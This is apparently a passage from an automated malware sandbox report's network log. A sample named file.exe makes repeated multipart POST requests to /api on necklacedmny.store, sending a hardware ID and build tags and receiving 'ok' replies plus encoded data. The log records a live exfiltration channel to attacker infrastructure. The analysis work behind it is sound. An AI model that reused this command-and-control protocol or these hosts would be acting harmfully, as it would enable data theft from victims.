2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 57 47 34 61 36 2b 68 61 71 76 35 31 69 67 54 2b 4e 68 51 69 61 6a 61 7a 6c 39 43 39 4d 33 64 51 2f 38 45 69 4c 58 79 48 69 6f 78 63 52 6e 75 69 71 58 59 4b 2f 6e 32 36 45 4a 4d 4b 2f 52 59 2f 4d 74 71 58 30 4b 51 61 4b 6e 6a 50 34 52 6f 35 55 4c 71 48 6c 58 41 53 47 75 76 51 51 70 4b 69 4a 62 49 59 34 67 35 63 50 6e 6f 53 73 37 50 67 73 51 39 58 61 65 37 4d 46 69 6b 64 68 2b 71 31 32 47 34 32 6b 2b 41 71 68 2b 70 41 6e 6b 58 4b 48 69 55 58 49 77 71 76 6b 39 79 52 43 33 4e 41 2f 38 55 4f 44 55 69 36 6b 35 31 63 52 6a 4b 44 36 48 4b 79 78 67 47 6d 4e 50 34 53 44 43 5a 47 48 37 36 75 7a 49 6c 36 53 68 6e 76 54 51 6f 35 4e 59 35 66 75 57 52 69 42 76 72 49 43 37 36 50 50 62 6f 52 79 32 4d 55 4c 6c 59 32 39 35 4f 45 67 53 4d 44 53 50 76 74 49 6a 6c 45 68 70 2b Data Ascii: WG4a6+haqv51igT+NhQiajazl9C9M3dQ/8EiLXyHioxcRnuiqXYK/n26EJMK/RY/MtqX0KQaKnjP4Ro5ULqHlXASGuvQQpKiJbIY4g5cPnoSs7PgsQ9Xae7MFikdh+q12G42k+Aqh+pAnkXKHiUXIwqvk9yRC3NA/8UODUi6k51cRjKD6HKyxgGmNP4SDCZGH76uzIl6ShnvTQo5NY5fuWRiBvrIC76PPboRy2MULlY295OEgSMDSPvtIjlEhp+
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 76 72 49 43 37 36 50 50 62 6f 52 79 32 4d 55 4a 6d 59 4b 6b 37 2f 63 6c 51 64 2f 62 4f 50 70 47 67 46 67 72 72 4f 70 54 47 6f 2b 6c 39 42 32 6d 76 6f 70 37 6a 54 75 4d 69 55 58 65 77 71 6a 39 73 33 30 47 2f 64 6b 74 2f 6d 71 4f 54 69 6a 69 38 68 6b 50 78 71 2f 2b 58 66 6e 36 69 47 79 41 4f 59 61 4e 42 59 4b 48 6f 65 37 79 4c 30 44 54 30 7a 66 37 52 59 78 66 4a 36 37 74 55 42 47 55 75 76 63 62 73 37 44 50 4a 38 67 31 6d 4d 56 64 30 4c 53 2f 38 75 49 7a 42 4f 66 64 4e 66 4e 43 6d 78 38 2b 37 50 51 58 45 59 72 6f 71 6c 32 71 75 6f 4e 75 67 44 53 45 6a 51 71 66 69 37 33 6b 2f 79 74 55 31 64 34 79 38 30 71 42 56 69 79 6c 34 46 77 63 69 36 7a 31 48 4f 48 30 7a 32 36 51 63 74 6a 46 4d 34 43 50 6f 38 76 34 4b 55 2b 53 77 58 58 6b 42 59 70 54 59 66 71 74 55 78 71 Data Ascii: vrIC76PPboRy2MUJmYKk7/clQd/bOPpGgFgrrOpTGo+l9B2mvop7jTuMiUXewqj9s30G/dkt/mqOTiji8hkPxq/+Xfn6iGyAOYaNBYKHoe7yL0DT0zf7RYxfJ67tUBGUuvcbs7DPJ8g1mMVd0LS/8uIzBOfdNfNCmx8+7PQXEYroql2quoNugDSEjQqfi73k/ytU1d4y80qBViyl4Fwci6z1HOH0z26QctjFM4CPo8v4KU+SwXXkBYpTYfqtUxq
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 61 53 2f 69 32 36 4d 4e 49 2f 46 53 39 43 46 74 36 57 72 5a 57 6e 31 36 33 6e 63 66 38 31 41 62 37 75 74 55 42 72 47 38 4c 49 52 6f 72 61 48 5a 6f 34 37 6a 49 38 4d 6d 34 36 6b 34 66 38 73 51 39 54 66 50 76 68 45 69 56 4d 72 70 4f 35 55 47 59 6d 6e 2b 6c 33 76 2b 6f 68 78 79 47 72 41 6f 42 4b 62 6a 4b 6d 6c 37 47 74 66 6b 74 6b 33 76 52 33 4e 55 79 69 6b 36 31 49 61 68 36 37 36 47 4b 6d 2b 6a 6d 2b 4f 4d 59 2b 42 41 4a 47 4e 71 2b 6e 39 4c 30 66 54 30 6a 44 79 54 6f 67 66 62 2b 4c 71 54 31 62 65 36 4d 4d 65 74 36 32 66 5a 63 67 74 7a 70 78 46 6c 34 37 76 76 62 4d 6b 56 4e 6a 55 4e 66 68 4b 69 46 77 75 70 65 42 52 47 6f 79 68 2b 68 75 75 73 35 31 71 68 44 79 48 69 77 6d 65 6a 36 58 6d 2f 6d 55 49 6b 74 6b 6a 76 52 33 4e 63 79 61 76 77 31 77 61 67 65 6a 74 Data Ascii: aS/i26MNI/FS9CFt6WrZWn163ncf81Ab7utUBrG8LIRoraHZo47jI8Mm46k4f8sQ9TfPvhEiVMrpO5UGYmn+l3v+ohxyGrAoBKbjKml7Gtfktk3vR3NUyik61Iah676GKm+jm+OMY+BAJGNq+n9L0fT0jDyTogfb+LqT1be6MMet62fZcgtzpxFl47vvbMkVNjUNfhKiFwupeBRGoyh+huus51qhDyHiwmej6Xm/mUIktkjvR3Ncyavw1wagejt
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 45 70 6a 79 72 41 33 55 57 6d 68 62 2f 31 38 47 64 33 78 4e 30 74 39 6b 69 42 48 7a 37 73 39 42 63 52 69 75 69 71 58 61 65 31 68 6d 71 48 4d 34 6d 4a 43 4a 57 4c 71 75 54 31 49 55 7a 59 33 6a 33 37 52 49 68 56 49 71 50 6e 58 68 47 4f 72 2f 45 50 34 66 54 50 62 70 42 79 32 4d 55 73 6c 35 43 68 39 62 4d 36 43 4d 75 65 50 50 45 46 31 52 38 6c 71 4f 4a 54 45 59 71 75 39 78 75 73 75 34 42 6f 69 44 32 45 6a 67 79 57 67 36 4c 67 2f 69 46 55 32 4e 55 30 38 55 79 42 55 6d 48 73 72 56 41 4f 78 76 43 79 4c 4b 79 30 67 57 36 65 63 70 2f 4c 48 4e 43 46 6f 36 57 72 5a 55 66 65 30 54 6a 79 52 6f 35 65 4b 37 44 2f 57 78 2b 4f 72 66 34 57 72 37 79 64 62 34 63 37 67 34 59 4d 6c 34 71 6a 37 2f 41 69 42 70 79 65 50 4f 55 46 31 52 38 43 74 66 31 61 56 70 6e 6d 36 31 32 6d 74 Data Ascii: EpjyrA3UWmhb/18Gd3xN0t9kiBHz7s9BcRiuiqXae1hmqHM4mJCJWLquT1IUzY3j37RIhVIqPnXhGOr/EP4fTPbpBy2MUsl5Ch9bM6CMuePPEF1R8lqOJTEYqu9xusu4BoiD2EjgyWg6Lg/iFU2NU08UyBUmHsrVAOxvCyLKy0gW6ecp/LHNCFo6WrZUfe0TjyRo5eK7D/Wx+Orf4Wr7ydb4c7g4YMl4qj7/AiBpyePOUF1R8Ctf1aVpnm612mt
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 38 6b 6f 41 44 6e 34 32 6d 37 50 63 74 52 64 4c 61 50 2f 70 41 6a 6c 4d 71 70 65 35 59 45 6f 2b 6d 2b 78 4c 68 39 4d 39 75 6b 48 4c 59 78 53 53 4c 67 61 50 6f 73 7a 6f 49 79 35 34 38 38 51 58 56 48 79 32 73 36 46 63 63 67 4b 7a 33 47 36 75 2f 6a 32 4b 4c 50 59 53 44 41 5a 2b 43 70 4f 7a 79 49 30 50 59 31 54 33 77 52 6f 74 5a 59 65 79 74 55 41 37 47 38 4c 49 39 75 72 65 44 62 73 67 74 7a 70 78 46 6c 34 37 76 76 62 4d 75 53 74 62 5a 4f 2f 42 47 68 56 6f 6c 71 4f 68 58 48 70 53 67 38 68 71 7a 71 49 39 67 6a 54 36 44 68 51 47 57 69 36 6e 6d 39 32 55 49 6b 74 6b 6a 76 52 33 4e 63 69 32 6c 78 46 41 4e 78 72 65 38 42 4f 47 39 67 79 6e 51 63 6f 47 4f 44 35 2b 50 72 4f 50 77 4c 6b 50 59 33 7a 7a 31 53 4a 39 63 4c 71 33 70 56 78 6d 41 72 76 4d 53 70 37 32 47 61 49 Data Ascii: 8koADn42m7PctRdLaP/pAjlMqpe5YEo+m+xLh9M9ukHLYxSSLgaPoszoIy5488QXVHy2s6FccgKz3G6u/j2KLPYSDAZ+CpOzyI0PY1T3wRotZYeytUA7G8LI9ureDbsgtzpxFl47vvbMuStbZO/BGhVolqOhXHpSg8hqzqI9gjT6DhQGWi6nm92UIktkjvR3Nci2lxFANxre8BOG9gynQcoGOD5+PrOPwLkPY3zz1SJ9cLq3pVxmArvMSp72GaI
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 4f 36 36 6c 75 65 2f 30 4e 55 48 46 30 58 75 7a 42 59 49 66 65 5a 75 74 58 68 47 64 75 65 51 51 73 62 33 50 56 73 5a 79 6d 4d 56 64 30 4c 65 73 36 2f 30 69 55 4d 4f 54 48 4f 74 50 69 6b 38 6d 74 65 49 58 57 4d 61 75 73 6b 58 79 39 4d 39 74 6d 58 4c 59 31 56 66 4c 31 2f 79 79 6f 33 64 5a 6e 4d 64 37 36 77 58 56 44 57 2f 69 2f 78 64 4f 78 75 2f 78 44 37 4f 38 6a 48 2b 4c 64 62 36 37 49 6f 71 50 71 66 4c 69 47 33 6a 56 78 44 62 37 55 70 77 54 4e 4b 48 6a 57 52 47 51 36 4c 78 64 72 76 72 58 55 4d 68 36 77 4c 70 4c 30 4a 72 76 76 62 4d 51 52 64 7a 51 50 4f 74 55 77 48 67 37 72 2b 74 41 42 38 62 6d 73 68 76 68 34 74 38 6e 79 44 61 52 78 56 33 41 30 50 53 77 6f 48 49 57 67 4d 46 31 35 41 57 62 48 33 6e 77 6f 78 63 45 78 76 43 79 57 71 4b 6f 6e 57 2b 4c 4a 49 50 Data Ascii: O66lue/0NUHF0XuzBYIfeZutXhGdueQQsb3PVsZymMVd0Les6/0iUMOTHOtPik8mteIXWMauskXy9M9tmXLY1VfL1/yyo3dZnMd76wXVDW/i/xdOxu/xD7O8jH+Ldb67IoqPqfLiG3jVxDb7UpwTNKHjWRGQ6LxdrvrXUMh6wLpL0JrvvbMQRdzQPOtUwHg7r+tAB8bmshvh4t8nyDaRxV3A0PSwoHIWgMF15AWbH3nwoxcExvCyWqKonW+LJIP
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 76 65 6c 78 69 5a 49 33 4e 6b 74 37 41 69 71 55 53 61 6a 2b 30 63 42 69 65 69 38 58 61 66 36 31 7a 76 47 63 6f 53 55 52 63 6a 53 2f 62 36 6d 64 68 47 43 6a 43 53 7a 58 4d 31 4a 59 66 71 2f 47 56 61 55 36 4b 70 64 35 72 6d 64 65 34 34 78 6c 6f 5a 43 72 72 79 49 36 2f 51 6b 55 4d 4c 4a 4e 4c 4a 72 75 33 34 66 6e 50 68 55 47 49 69 76 35 41 7a 68 39 4d 39 6d 79 47 71 35 78 55 33 51 76 65 47 6c 36 32 55 65 6b 75 73 34 38 30 75 4b 53 54 44 76 79 6c 6b 52 68 37 37 69 43 71 37 31 6f 56 2b 70 63 73 37 46 41 39 44 61 2f 61 75 7a 49 56 65 53 68 6d 75 76 48 74 67 4d 64 76 4b 2f 53 46 69 66 36 4f 52 64 2b 65 6a 42 4b 5a 70 79 32 4d 56 43 6b 35 43 39 34 2f 41 7a 52 5a 58 67 42 64 70 4c 69 6c 34 33 73 75 42 62 4e 34 57 35 2b 43 4f 66 72 34 78 6e 68 6a 57 57 6c 45 58 65 Data Ascii: velxiZI3Nkt7AiqUSaj+0cBiei8Xaf61zvGcoSURcjS/b6mdhGCjCSzXM1JYfq/GVaU6Kpd5rmde44xloZCrryI6/QkUMLJNLJru34fnPhUGIiv5Azh9M9myGq5xU3QveGl62Uekus480uKSTDvylkRh77iCq71oV+pcs7FA9Da/auzIVeShmuvHtgMdvK/SFif6ORd+ejBKZpy2MVCk5C94/AzRZXgBdpLil43suBbN4W5+COfr4xnhjWWlEXe
2024-10-31 23:38:04 UTC	1369	IN	Data Raw: 34 68 55 4d 66 64 4b 2f 70 37 73 33 49 7a 70 66 31 55 56 4b 71 76 2f 78 47 66 68 4c 68 34 6a 79 4c 43 6f 77 61 47 67 65 2b 72 73 7a 30 47 69 70 34 57 37 30 4b 64 58 47 4f 4f 36 6c 6f 61 78 72 65 38 42 4f 47 73 7a 7a 48 62 66 4d 43 58 52 63 6a 43 36 4f 62 68 4e 30 44 52 79 44 69 36 65 37 4e 79 4d 36 58 39 56 46 53 33 70 66 59 4c 74 4c 6d 66 62 72 59 4d 72 5a 63 43 67 49 48 74 77 4d 6c 6e 64 38 54 64 4f 2f 4e 43 7a 52 46 68 75 71 30 50 56 71 75 36 39 51 32 69 2b 4b 70 54 79 67 4f 57 68 67 57 65 68 65 2f 36 76 54 77 47 78 4a 35 6a 72 67 76 4e 54 57 48 36 72 52 41 59 69 36 6e 78 45 36 4b 6f 6e 57 2b 4c 4a 49 50 43 4f 36 36 74 70 4f 54 6a 4b 46 66 66 32 69 33 44 65 36 70 5a 4a 4b 58 54 61 53 47 58 72 2b 4a 66 68 37 6d 5a 61 73 68 38 77 4a 31 46 79 4d 4b 49 34 Data Ascii: 4hUMfdK/p7s3Izpf1UVKqv/xGfhLh4jyLCowaGge+rsz0Gip4W70KdXGOO6loaxre8BOGszzHbfMCXRcjC6ObhN0DRyDi6e7NyM6X9VFS3pfYLtLmfbrYMrZcCgIHtwMlnd8TdO/NCzRFhuq0PVqu69Q2i+KpTygOWhgWehe/6vTwGxJ5jrgvNTWH6rRAYi6nxE6KonW+LJIPCO66tpOTjKFff2i3De6pZJKXTaSGXr+Jfh7mZash8wJ1FyMKI4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 23:38:05 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:06 UTC	1030	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=js3uc4bu7qp06pa31s9ptdi3su; expires=Mon, 24-Feb-2025 17:24:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QN2OG%2FdX1RyqNSGH%2BtjBNfXV1qNT1mB38Zp51sNKFqm1xdIA5Mpw0hg8k1KU8uSo%2BsNf0j0f%2BN%2FwmbmpgKLji8eikYK%2BkKv7m2%2FW%2BS%2BgQKKhUZpPnb4cUVT2jIFUqjjBRO%2Blaug%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a096dff46e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1171&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13806&delivery_rate=2425460&cwnd=251&unsent_bytes=0&cid=e49b7ae748c054d1&ts=773&x=0"
2024-10-31 23:38:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:07 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 23:38:07 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:08 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c1i0s0h6q33bencslr5ulcmcum; expires=Mon, 24-Feb-2025 17:24:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=smlzeqkmnARLTd81gtS2bJglWIdotVfWRDc5oTeTe%2FkPg48CbQiXiicAAZG96hYIUHSKt3xtZyJ75l6VOf6cXzMCnTHZtrh0AL1WtgZnTubIe2RcQr1wkbM55%2FQdNPRzpchbisc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a144ab86b15-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1205&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2583407&cwnd=251&unsent_bytes=0&cid=32d8c95016be3410&ts=817&x=0"
2024-10-31 23:38:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 23:38:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:09 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 23:38:09 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jc8oq8915j40dbqppomnp1bvgk; expires=Mon, 24-Feb-2025 17:24:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sdc9rn8WCGOzfrA0ATbtRTo20eseptANecbBWpHRgBPIGuF9nM22GzwG5mI8UBaTuXrsQ%2Bs%2B%2B0kOWh65%2B%2BXGxYFxqlHCR0NmoyYO5hn%2BZd7s6k5mAGdC%2B7cGBQX3sF2b7uIjQvo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a1eba1e474e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=1536339&cwnd=244&unsent_bytes=0&cid=257ad1f508a026d5&ts=699&x=0"
2024-10-31 23:38:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49715	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: necklacedmny.store
2024-10-31 23:38:10 UTC	1233	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:11 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qvj4bjjcmt9hurnc48eqj1fkt6; expires=Mon, 24-Feb-2025 17:24:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SL23bOFEiw234tBqhAmSIzQAXwcpvMxhi3I%2FH3HDfD8cGsAOK2G%2FE2reF2UJbzBEhixqwXUo38PuSpKN1MsxNYbR4CaMvk2gDJiNLa6V8%2BqRZCOxNbzSiHt7QNvBvjxykBa2yFU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a28fd8ce946-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1974&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2152&delivery_rate=1518615&cwnd=251&unsent_bytes=0&cid=72ca9102863d4b8b&ts=475&x=0"
2024-10-31 23:38:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49717	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
